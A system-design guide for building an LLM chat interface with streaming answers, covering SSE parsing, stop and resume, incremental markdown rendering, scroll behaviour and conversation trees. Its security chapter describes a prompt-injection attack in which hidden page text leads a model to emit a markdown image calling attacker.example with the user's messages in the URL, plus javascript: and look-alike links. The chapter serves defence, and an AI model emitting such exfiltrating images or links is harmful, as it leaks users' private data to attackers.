Design an LLM chat interface with streaming answers

Requirements: what a streaming chat must do

An LLM chat looks like the simplest screen in the world: a list of messages and a text box. The difference from a normal chat is where the other side's words come from. In a chat app, a person writes a whole message and sends it once.

Here, a large language model (LLM: a program that writes text one small piece at a time) produces the answer over 5 to 60 seconds, and the user wants to read it while it is being written. Almost every hard decision in this guide comes from that one fact.

A small piece of text from the model is called a token. A token is about 4 characters of English on average, so a 600-word answer is roughly 800 tokens.

Models today write about 30 to 150 tokens per second, so that answer takes 5 to 25 seconds to finish. Nobody wants to stare at a spinner for 25 seconds. That is why the answer streams.

Start the interview by asking questions whose answers change the design. The table shows the answer this guide assumes, and what would move if the interviewer answered differently.

Functional requirements

• Send a message and see the answer stream in as formatted markdown, with code blocks highlighted once they finish.
• Stop an answer at any time. The text written so far stays, marked as stopped.
• Regenerate an answer, and flip between versions with a 2 of 3 style control.
• Edit an earlier question and resend it. This starts a new branch; the old branch stays reachable.
• Copy an answer or a single code block.
• Attach files and images, and see tool calls (web search, code run) as steps inside the answer.
• Browse past conversations in a sidebar, with titles that the server generates after the first answer.
• Keep an unsent draft per conversation, even across a reload.

Non-functional requirements, with numbers

Non-functional requirements are qualities: how fast, how safe, how accessible. Each one gets a number so it can be checked later. The most important number in this product is time to first token (TTFT): the time from pressing Send to seeing the first word of the answer. Users judge the whole product by it.

• Show that the message was sent within 100 ms of pressing Enter (the question appears at once, with a typing indicator).
• The client adds no more than 50 ms on top of the server's time to first token. The server's own TTFT is often 300 ms to 2 s, longer for reasoning models (models that think before they answer).
• Keep the page smooth while streaming: no long task (main-thread work that blocks input) over 50 ms, and Interaction to Next Paint (INP: how long the page takes to respond to a click or key) under 200 ms, even while 100 tokens per second arrive.
• Never run code or HTML from the model's output. Treat every byte of it as untrusted.
• Work with a screen reader: the user hears the answer once, in readable chunks, not one token at a time.
• Survive a dropped connection: never lose the user's question, and recover the answer if the server still has it.

Out of scope

Say out loud what you will not design, so the interviewer can object. Here: the model itself and how it is served, billing, login, voice mode, sharing conversations by link, and the rich text editor inside the composer (that is its own problem; see the rich text editor guide). The messaging basics that any chat shares, such as optimistic sends and offline outboxes, are covered in the chat app guide. This guide focuses on what is new when the other side is a model.

What makes this hard

Before picking any technology, name the properties of this problem that drive every later decision. There are five, and each one gets a chapter.

1. The answer arrives in hundreds of small pieces. A 20-second answer is 1,000 or more chunks. Each chunk must be read off the network, parsed, added to state, and painted. A design that re-renders the whole message per chunk works in a demo and stutters on a mid-range phone.
2. The answer is long-running and costs money. Every token costs the company compute. A request that runs for 40 seconds can be stopped by the user, killed by a train tunnel, or cut by a proxy timeout. Each case needs a defined outcome, both for the screen and for the bill.
3. The content is half-finished while you render it. At any moment the text may end inside a code fence, a table row, a link, or a bold word. A renderer built for finished documents shows broken output, flickers, or spends most of its time re-parsing.
4. The content is untrusted. The model writes whatever the prompt, a web page it read, or an uploaded file nudges it to write. Its output is input from a stranger, exactly like a comment on a forum, and it can contain script tags, javascript: links, and tracking images.
5. The page grows under the reader. While the answer streams, the content gets taller several times a second. The reader may want to follow it, or scroll up to reread something. Getting the scroll wrong is the most common complaint about chat UIs.

Compare this with a normal chat app. There, messages are small, finished, written by people, and arrive a few per minute.

Here, one message is large, unfinished, machine-written, and arrives 50 times per second. The list of messages is the easy part. The single message being written is the hard part.

The timeline above shows the life of one answer. Three moments matter. Time to first token is when the user stops wondering whether anything happened. Tokens per second is the reading speed the user sees for the rest of the answer.

Time to last token is when actions such as Copy and Regenerate make sense. A good client shows something useful at each stage: the question at once, a thinking indicator until the first token, the growing answer, then the finished answer with its actions.

Streaming the answer from server to screen

The first big decision is how the answer travels. The request is a POST that carries the new message, the conversation ID, the model name, and attachment IDs, and it needs an auth header. The response is one long answer that arrives in pieces over many seconds. Four transports could carry it.

Three layers between bytes and tokens

Reading the stream is three separate jobs, and keeping them separate is what makes the parser correct. First, TextDecoderStream turns bytes into text. It matters because an emoji or a Hindi character is 3 or 4 bytes in UTF-8, and a network chunk can end in the middle of one; the decoder holds back the half character until the rest arrives.

Second, a line splitter turns text into complete lines, keeping any unfinished line in a buffer. Third, an event builder collects event:, data:, and id: lines and emits one event at each blank line.

Here is what that looks like with real chunks. Suppose the server writes three events: event: delta with data: {"t":"Hello"}, the same with " world", then event: done. The network might deliver them as five chunks that cut through the middle of a JSON value, the middle of a field name, and the gap between the two newlines that end an event. The lab below lets you step through exactly this, and see what sits in the buffer after each chunk.

type SseEvent = { event: string; data: string; id?: string };

export async function* readEvents(body: ReadableStream<Uint8Array>) {
  const reader = body.pipeThrough(new TextDecoderStream()).getReader();
  let buf = "";
  let ev: SseEvent = { event: "message", data: "" };
  for (;;) {
    const { value, done } = await reader.read();
    if (done) return;
    buf += value;
    let nl: number;
    while ((nl = buf.search(/\r\n|\n|\r(?!$)/)) >= 0) {
      const line = buf.slice(0, nl);
      buf = buf.slice(nl + (buf.startsWith("\r\n", nl) ? 2 : 1));
      if (line === "") { if (ev.data) yield ev; ev = { event: "message", data: "" }; continue; }
      if (line.startsWith(":")) continue; // comment, used as a heartbeat
      const i = line.indexOf(":");
      const field = i < 0 ? line : line.slice(0, i);
      const val = i < 0 ? "" : line.slice(i + 1).replace(/^ /, "");
      if (field === "data") ev.data += (ev.data ? "\n" : "") + val;
      else if (field === "event") ev.event = val;
      else if (field === "id") ev.id = val;
    }
  }
}

Two more details. Comment lines that start with a colon (: ping) carry no data; the server sends one every 15 seconds so proxies do not close an idle connection while a reasoning model thinks for a minute. And multiple data: lines in one event join with a newline, which is how the format carries text that itself contains newlines. Most teams use a small tested library such as eventsource-parser instead of this code, but you should be able to explain what it does.

The events our server sends

The browser never calls the model provider directly, because that would expose the API key. Our backend calls the provider and writes its own, simpler stream to the browser. Designing those events is part of the frontend design, because the client depends on them.

event: start
data: {"messageId":"m-812","parentId":"m-811","model":"fast-2"}

event: delta
id: m-812:1
data: {"text":"Sure. Here is"}

event: tool
id: m-812:2
data: {"stepId":"s1","tool":"search","status":"running","label":"Searching the web for SSE spec"}

event: delta
id: m-812:3
data: {"text":" a short example:\n\n```ts\n"}

: ping

event: done
id: m-812:4
data: {"finish":"stop","usage":{"in":1840,"out":412}}

start arrives before the model writes anything. It gives the server-made message ID right away, so Stop, Retry, and Resume can refer to it. delta carries text. tool carries the progress of tool calls (later chapter). done ends the answer with a finish reason (stop, length when the model hit its output limit, cancelled, content_filter) and token counts. An error event carries a code when the model fails midway. A stream that ends without done or error is a dropped stream, and the client must treat it as one.

Measuring time to first token in the client

Time to first token, measured in the browser, includes things server metrics miss: DNS and TLS for a cold connection, a slow phone parsing JSON, and our own render. Mark three timestamps with performance.now(): when the user pressed Send, when the first delta event was parsed, and when the first text was painted (the next requestAnimationFrame after updating state). The difference between the last two is the client's own cost. If it grows above 50 ms, the render path is the problem, not the model.

Stopping, retrying, and resuming a stream

An answer can end in five ways: it finishes, the user stops it, the model fails midway, the network drops, or the user leaves the page. The naive client handles only the first. Write the others down as a state machine before writing any code, because each state decides which buttons show and what the server is told.

Stop: abort the request, and stop the bill

The Stop button calls controller.abort() on the AbortController whose signal was passed to fetch. The browser closes the connection, reader.read() rejects with an AbortError, and the client moves the message to stopped, keeping the text received so far. That is the easy half.

The other half is the server. Closing the connection only helps if the backend notices and cancels its own call to the model provider. If it does not, the model keeps writing 2,000 tokens nobody will read, and the company pays for every one. On a product with millions of daily answers, where a few percent are stopped early, that waste is real money.

Even closing the provider's stream is not a guarantee. Whether that stops generation and billing at once depends on the provider, and a few tokens already in flight may still be billed, so check the provider's docs and your usage logs. There are two ways for our server to know the user stopped.

• Watch the connection. Most server frameworks expose the client disconnect (an abort signal on the incoming request, or a close event). The handler passes it on to its own fetch to the provider. This is required in every design.
• An explicit stop call. The client also sends POST /api/messages/m-812/stop. This matters when the connection is not end to end: an HTTP/2 proxy or a load balancer may keep the upstream connection open for a while after the browser closed its side, and in the resume design below the generation runs separately from any one connection. The stop call is cheap, idempotent, and removes the doubt.

Also decide what the stopped answer means for the conversation. Most products keep the partial text as the assistant message, mark it cancelled, and send it as context in the next turn. The server is the source of truth for exactly how much text was kept: the client may have rendered a few tokens fewer or more than the server saved, so after a stop, the client accepts the server's final text from the stop response.

When the stream drops in the middle

Now the hard case. The user is on a train; 300 tokens into an 800-token answer, the connection dies. reader.read() rejects with a TypeError (a network error), or worse, the read simply hangs because the connection died silently. Detect the silent case with a watchdog: if no event or heartbeat arrives for 30 seconds (twice the heartbeat interval), abort the request yourself and treat it as dropped.

Resume has a subtle rule: the client must apply each event at most once. Keep the last sequence number you applied per message. When resumed events arrive, skip any with a number at or below it. That makes resume safe even if the server replays a few events you already have.

Never send the same question twice

The worst drop happens right after Send, before start arrives. Did the server receive the question? If the client simply resends, the user may end up with the question twice and two answers, each billed. The fix is an idempotency key: the client makes a random ID (crypto.randomUUID()) for the user's message before sending, and the server stores it.

A second POST with the same key does not start a new answer; it returns the existing one, or attaches to its stream. The client can now retry a send blindly, which is exactly what you want after a network error.

async function send(turn: PendingTurn, attempt = 0): Promise<void> {
  const ctrl = new AbortController();
  turn.abort = () => ctrl.abort();
  try {
    const res = await fetch("/api/chat", {
      method: "POST",
      headers: { "Content-Type": "application/json", "Idempotency-Key": turn.clientId },
      body: JSON.stringify({ conversationId: turn.conversationId, parentId: turn.parentId, text: turn.text }),
      signal: ctrl.signal,
    });
    if (res.status === 429) return turn.rateLimited(res.headers.get("Retry-After"));
    if (!res.ok || !res.body) throw new HttpError(res.status);
    await turn.consume(readEvents(res.body)); // applies events, skipping seen sequence numbers
  } catch (err) {
    if (ctrl.signal.aborted) return turn.markStopped();
    if (turn.messageId) return turn.resume(); // GET .../stream with Last-Event-ID
    if (attempt < 3 && isRetryable(err)) {
      await sleep(backoffWithJitter(attempt));
      return send(turn, attempt + 1); // same Idempotency-Key, so no duplicate
    }
    turn.markFailed(err);
  }
}

Rendering markdown while it is still being written

The model writes markdown, and the user expects to see formatting as it arrives: a heading becomes a heading, a list becomes a list, a code block gets a box. The naive approach is to keep the whole answer in one string, append each token, and pass the string to a markdown component on every change. It works for the first paragraph. Then it falls apart.

Do the arithmetic. A long answer is 12,000 characters. A typical markdown parser plus React rendering of that much content takes roughly 4 to 15 ms on a fast laptop, and several times longer on a mid-range Android phone (rough figures; profile your own).

At 80 events per second, re-parsing everything on every event asks for 80 full parses per second, each slower than the last as the text grows. On the phone, that is more than the whole frame budget of 16.7 ms per frame. The page stutters, scrolling lags, and the Stop button takes half a second to respond: a broken INP exactly when the user wants control.

Batching tokens per animation frame

The stream reader does not touch React state. It appends text to a plain buffer and schedules one flush with requestAnimationFrame, if one is not already scheduled. The flush moves the buffer into state, and React renders once. Ten tokens that arrive within one frame become one render.

Using an animation frame instead of a fixed timer has a bonus: when the tab is in the background, the browser pauses animation frames, so a hidden tab does no rendering work at all, and catches up in one render when the user comes back. The debounce and throttle lesson explains why this is a throttle, not a debounce: we want steady updates during the stream, not one update after it stops.

let pending = "";
let scheduled = false;

function onDelta(text: string) {
  pending += text;
  if (scheduled) return;
  scheduled = true;
  requestAnimationFrame(() => {
    scheduled = false;
    const chunk = pending;
    pending = "";
    store.appendToStreaming(chunk); // one state update, one render
  });
}

Splitting into blocks

Walk the text line by line. Track whether you are inside a code fence (a line starting with three backticks or three tildes opens or closes it). A blank line outside a fence ends a block. Keep the list of finished blocks and the start offset of the open block, so the next flush only scans the new characters.

Each finished block renders through a memoized component keyed by its index, and its text never changes again, so React skips it on every later render. Watch out for lists: a blank line between two list items does not end the list. A simple rule is to treat a block that starts with a list marker as open until a non-indented line that is not a list item appears.

Half-open syntax: fences, tables, links, emphasis

The open block is usually broken markdown. Rendering it as-is causes visible jumps. Fix the worst cases before parsing the open block, on a copy of the text, never on the stored answer.

Syntax highlighting after the block completes

Syntax highlighting is the most expensive step. Highlighters such as Shiki or Prism tokenize code with grammars, and a 200-line block can take tens of milliseconds on a phone. Never highlight an open code block on every flush. While the block is open, show plain monospaced text.

When its closing fence arrives, highlight it once, off the main thread if you can (a web worker that returns HTML or tokens). Load the highlighter and each language grammar lazily, the first time a code block appears, since many answers have no code at all. The small swap from plain to coloured text is barely noticed. A stutter while the user is reading is.

Rendering model output safely

Treat the model's answer like a comment typed by a stranger. The model repeats whatever is in its context: the user's question, a pasted email, a web page it searched, an uploaded PDF. Any of those can contain text written by an attacker. This is called prompt injection: instructions hidden in content that the model reads and then follows.

The frontend cannot stop the model from being tricked. It can make sure that whatever the model writes cannot run code, leak data, or fool the user. The XSS lesson covers the basics of cross-site scripting; this chapter covers what is special about model output.

Links

• Allow only https:, http:, and mailto: URLs. Parse with new URL(href) and check protocol; drop javascript:, data:, and vbscript: links, which run code or hide content when clicked. React 19 replaces javascript: URLs in href with one that throws, but other schemes pass through. react-markdown filters link protocols with its default urlTransform, but other libraries may not, so check the protocol yourself.
• Open links in a new tab with rel="noopener noreferrer". Modern browsers already imply noopener for target="_blank", but saying it keeps older browsers safe from the new page controlling our tab through window.opener. noreferrer also stops the browser from sending our origin in the Referer header.
• Show the real domain. A model can be tricked into writing [your bank](https://evil.example). Show the hostname next to or on hover over every link, and consider a confirm step for domains the model was not given by a tool.

Images, the quiet leak

Images are the most dangerous markdown feature in an AI chat, because the browser loads them without a click. Picture this attack: the user asks the assistant to summarize a web page. Hidden in the page is text telling the model to write an image like ![](https://attacker.example/pixel.png?d=...) with the user's earlier messages encoded in the URL.

The browser fetches the image, and the attacker's server log now holds private data. No script ran; the leak happened through a plain GET. Security researchers have shown this leak against real AI chat products, including Bing Chat and ChatGPT, and the usual fix was to restrict which image URLs the client loads.

• Do not render images with arbitrary URLs from model output. Either allow only images from your own domain and a short list of trusted hosts, or show them as links the user must click.
• If images from the web are a feature, the backend fetches and re-hosts them (an image proxy) only when a tool produced them, never for URLs the model made up.
• Back this up with a Content Security Policy (see the CSP lesson). An img-src directive that lists only your own image hosts makes the browser refuse the attacker's pixel even if a bug lets the tag through. Pair it with a strict script-src that uses nonces or hashes, so an injected script cannot run.

Tool results and the confused user

When the model uses tools, attacker-controlled text from a search result can end up in the answer and look like the assistant's own advice. The UI helps the user judge it.

Show tool steps with their source ("Searched: 3 results from example.com"), show citations as numbered links to the source, and never let the model's text render with the look of a system message or a button. Actions the model proposes that touch the outside world, such as sending an email, need an explicit confirm step that shows exactly what will be sent.

Scroll: following the answer without fighting the reader

While an answer streams, the message list gets taller several times a second. The naive fix is el.scrollTop = el.scrollHeight after every update. It keeps the newest text in view, and it makes the product unusable for anyone who scrolls up to reread the question or copy a line from the answer: every new token yanks them back down. The opposite naive choice, never scrolling, makes the answer run off the bottom of the screen while the user watches nothing happen.

The rule users expect is stick to bottom: if the reader is at the bottom, keep them there as content grows. If they scroll up, even by a little, stop following and show a "Jump to latest" button.

If they scroll back to the bottom, or press the button, start following again. The lab below shows the difference. Stream an answer, scroll up mid-stream, and compare the naive version with stick-to-bottom.

The mechanics

• Scroll after the browser has laid out the new text: in the same animation frame callback that flushed tokens, after React commits (a layout effect), call sentinel.scrollIntoView({ block: "end" }) or set scrollTop. Use instant scrolling while streaming; smooth scrolling 50 times a second never catches up and looks like jelly.
• When the user sends a new message, always scroll their question to the top of the view, and turn following on. Several products now pin the question near the top and let the answer fill the space below, instead of sticking to the bottom. The answer grows downward under a question that stays put, which reads more calmly.
• Scroll anchoring is a browser feature (the CSS overflow-anchor property, auto by default) that keeps the visible content still when something above it changes size. It helps when an image loads above the reader. It can fight a bottom-pinned chat, so set overflow-anchor: none on the messages inside the list and leave it auto only on a small anchor element at the end, or handle all adjustments yourself. Chrome, Edge, and Firefox have had it for years, but Safari only added it in Safari 27 (2026), so never depend on it alone.
• When older messages load at the top (a long conversation opened from the sidebar), keep the reader's position: note the scrollHeight before inserting, then add the difference to scrollTop after.
• Honor prefers-reduced-motion: the Jump to latest button scrolls instantly instead of smoothly for those users.

History, edits, and regenerations: a conversation is a tree

Two message actions change the shape of the data. Regenerate asks for a new answer to the same question; the user then flips between versions with a small "2 / 3" control.

Edit changes an earlier question and resends it; everything after that point is replaced, but the old version stays reachable. A flat list of messages cannot hold either without deleting something. A tree can.

Walk through the figure. Question Q1 has two answers, A1 and A1-b (the user regenerated). Under A1, the user asked Q2, then edited it into Q2-b, which got A2-b. The current leaf is A2-b, so the screen shows Q1, A1, Q2-b, A2-b, with a "2 / 2" control on Q2-b and a "1 / 2" control on A1.

Pressing the left arrow on Q2-b moves the current leaf to the deepest latest descendant of Q2, which is A2. Switching versions is a client-side change of currentLeafId, plus a small PATCH so other devices open the same branch.

The actions, one by one

The sidebar: a paginated list with late titles

Heavy users have thousands of conversations. The sidebar loads the 30 most recent with cursor pagination (GET /api/conversations?cursor=...), ordered by last activity, and loads more as the user scrolls near the end. Group them by date (Today, Yesterday, Previous 7 days) on the client. A plain list of a few hundred rows is fine; past that, window it as the virtualization lesson describes.

A new conversation has no title. The client shows "New chat" or the first words of the question, and the server generates a real title with a small model after the first answer. The title arrives later, either as an event at the end of the stream (event: title) or through a refetch of the sidebar. Show it with a short fade, so it does not look like a glitch, and never overwrite a title the user renamed by hand.

Drafts that survive a reload

Losing a long prompt to an accidental reload is painful. Save the composer text per conversation in localStorage (or IndexedDB if drafts carry attachments), throttled to every 500 ms of typing, keyed by conversation ID, with a new-chat key for the empty state.

Clear the draft when the message is sent and the server confirms it. On load, restore the draft and put the cursor at the end. Drafts are per device on purpose: syncing half-typed text across devices surprises people.

Attachments, tool steps, rate limits, and errors

Attachments upload first, then the message refers to them

Do not put a 15 MB PDF inside the chat POST. If the stream drops, a retry would upload it again, and the request body would block the start of the answer. Instead, upload each file as soon as the user picks or drops it, while they are still typing.

Ask the server for an upload URL (POST /api/files returns a file ID and a signed URL), upload with progress, and show a chip with a progress ring in the composer. The chat request then carries only file IDs. The Send button waits until every upload has finished, or sends and lets the server wait, but it never sends a message that silently drops a file.

• Check type and size on the client first (for example 20 MB, common document and image types), for a fast error; the server checks again, because client checks can be bypassed.
• Show image thumbnails from a local object URL (URL.createObjectURL(file)) right away, and revoke it when the chip is removed.
• Server-side processing (text extraction, virus scan) can take seconds. Show a "processing" state on the chip from a status field, so users know why Send is waiting.

Tool calls shown as steps

Modern assistants search the web, read files, and run code before or during an answer. Each tool call can take seconds, and an answer with no visible progress for 20 seconds feels broken. The tool events in our stream carry a step ID, the tool name, a status (running, done, failed), and a short label.

The client renders them as a small collapsible list above or inside the answer: "Searching the web for SSE spec", then "Read 4 sources", then the text. Steps are part of the message, stored in its content parts, so they render the same way after a reload.

Reasoning models add a similar part: a thinking phase that may last a minute before any visible text. Show elapsed time ("Thinking for 24 s") and, if the product shows them, summaries of the reasoning in a collapsed section. Count time to first token from the first visible answer text, and record the thinking time separately, or your latency charts will mix two different things.

Rate limits and overload

Two kinds of "no" are common, and they need different treatment. A rate limit means this user has used their quota: the server answers 429 Too Many Requests, ideally with a Retry-After header (seconds, or an HTTP date) and a JSON body naming the limit and when it resets.

Do not retry automatically. Show the reason in plain words, the time it resets ("You can send more messages at 4:30 PM"), and offer a smaller model if the product has one. Keep the user's typed message in the composer; never clear it on an error.

Overload means the model is busy for everyone: a 503 Service Unavailable or 529 from some providers, or an error event midway through the stream with a code like overloaded. Here, retrying is right, with backoff and jitter so a million clients do not retry in the same second (the retries and backoff lesson explains why).

Retry at most two or three times automatically, then show "The model is busy" with a Retry button. For errors in the middle of an answer, keep the partial text and attach the error to that message, not to the page.

Architecture: the pieces and where the boundaries go

Now put the decisions together. The client has two kinds of data with very different lives. Conversation history and the sidebar are ordinary server data: fetched, cached, refetched.

The answer being streamed is hot, local, changing 60 times a second, and owned by one tab. Mixing them in one store is the most common architecture mistake in this problem, so the design keeps them apart.

When the stream finishes, the streaming store hands the final message to the server cache: it writes the complete message into the cached conversation tree (using the server's message ID from start) and deletes its own entry. From that moment the message is ordinary history. This handoff is the one place where the two kinds of state meet, and it is worth stating out loud in the interview.

Why does the stream controller live outside React? Because the user may switch to another conversation while an answer streams. If the stream were tied to a component, unmounting it would abort the answer. Kept in a module-level registry keyed by message ID, the answer keeps streaming in the background, the sidebar shows a small spinner on that conversation, and coming back shows the full text at once.

Data model: what lives where

A message is not one string. It is a list of parts: text, tool steps, attachments, citations. Storing parts from the start means a tool step or an image in the middle of an answer needs no special case, and the same renderer draws a message while it streams and after a reload.

type Role = "user" | "assistant";
type Status = "pending" | "streaming" | "done" | "stopped" | "interrupted" | "error";

type Part =
  | { kind: "text"; text: string }                       // markdown source
  | { kind: "file"; fileId: string; name: string; mime: string }
  | { kind: "tool"; stepId: string; tool: string; label: string; status: "running" | "done" | "failed" }
  | { kind: "citation"; n: number; url: string; title: string };

type Message = {
  id: string;              // server ID, from the start event
  clientId: string;        // idempotency key, made before sending
  parentId: string | null; // the tree link
  role: Role;
  parts: Part[];
  status: Status;
  finish?: "stop" | "length" | "cancelled" | "content_filter";
  model?: string;
  createdAt: string;
};

type Conversation = {
  id: string;
  title: string | null;    // filled in later by the server
  currentLeafId: string;
  updatedAt: string;
  messages: Record<string, Message>; // keyed by ID; children found by parentId
};

The streaming state is separate and small. It holds, per message being generated: the text received so far, the steps, the last applied sequence number (for skipping replayed events on resume), the last event ID (for Last-Event-ID), and the timestamps for telemetry. It does not hold the parsed markdown; the renderer derives that and memoizes it per block.

Interface: the API and the components

The API has one streaming endpoint and a handful of plain REST ones. Keep the plain ones boring: JSON in, JSON out, cursor pagination, one error shape everywhere.

{
  "error": {
    "code": "rate_limited",
    "message": "You have reached the limit for this model.",
    "resetsAt": "2026-10-20T16:30:00Z",
    "retryable": false,
    "alternatives": ["fast-2"]
  }
}

Note the retryable flag. The server knows better than the client whether a failure is worth retrying, so it says so. The client still caps automatic retries, so a bug in the flag cannot cause a retry storm.

Component interfaces

type ThreadProps = {
  conversationId: string;
  onAction: (a: MessageAction) => void; // copy, regenerate, edit, switch version, feedback
};

type AssistantMessageProps = {
  message: Message;            // finished parts from the server cache
  streaming?: StreamingState;  // present while this message streams
  versions?: { index: number; count: number };
};

type ComposerProps = {
  draftKey: string;
  busy: boolean;               // an answer is streaming: the button becomes Stop
  onSend: (text: string, fileIds: string[]) => void;
  onStop: () => void;
};

type MarkdownProps = {
  source: string;
  open: boolean;               // last block may be unfinished: apply fixups
  onCodeCopy?: (code: string) => void;
};

Accessibility, performance, and measuring cost and latency

Announcing a streamed answer

A screen reader user cannot see the answer grow, so the page must tell them. The naive approach is to put the answer inside an aria-live="polite" region. Then every flush is a change.

The screen reader either reads fragments ("Sure. Here", "is a short", "example") or queues dozens of announcements and falls far behind. Some screen readers read only the changed text, others re-read the whole region, which is worse. The screen readers lesson explains how live regions queue; here is the design.

• The thread is a list of articles: each message is an article element with a heading or label such as "You said" and "Assistant said", so screen reader users can jump between messages.
• Focus stays in the composer after Send. The Stop button is reachable with Tab and with Escape while focus is in the composer.
• Message actions are real buttons with labels ("Copy answer", "Previous version, 1 of 3"), visible on focus, not only on hover.
• The Jump to latest button and the version arrows have accessible names, and the version change is announced ("Showing version 2 of 3").
• Code blocks scroll horizontally, so they need tabindex="0" and a label for keyboard users to scroll them.

Performance targets and long threads

The runtime performance lesson covers long tasks and INP in general. For this screen, the budget is: no task over 50 ms during a stream, measured with the Long Animation Frames API (PerformanceObserver with type long-animation-frame, in Chromium browsers), which also says which script caused it.

The frame batching, block memoization, and worker highlighting from earlier chapters exist to meet this budget. Load the markdown renderer and its plugins with the chat page, but the highlighter, math typesetting, and diagram renderers only on first use. For threads past about 100 messages, window the list so only messages near the viewport are mounted, with the streaming message always mounted.

Measuring latency and cost

Users experience this product as a few numbers, so measure them on real devices, not just on the server. The real user monitoring lesson covers how to collect and send them; these are the ones that matter here.

Cost lives on the server, in token counts, but the client adds two useful signals: what the user did with an answer (copied it, regenerated it, stopped it) and how long it took to appear on their device. Join them on the message ID from the start event. Then "this model is 20 percent cheaper" can be weighed against "and users regenerate 2 times as often".

Running it in the interview

Forty-five minutes is enough for the requirements, one architecture picture, and two or three deep dives. The deep dives that impress in this problem are the ones that only exist because the answer streams: the parser and resume path, incremental markdown, and scroll. Messaging basics, such as the conversation list, are worth a sentence each, not ten minutes.

Say decisions as trade-offs, with the losing option named: "I'll read the stream with fetch instead of EventSource, because I need a POST body and an auth header. The cost is that I parse events and handle reconnects myself, so I'll keep the server format compatible with EventSource and add a GET resume endpoint." That one sentence shows you know both tools, why you chose, and how you limit the downside.

Follow-up questions to expect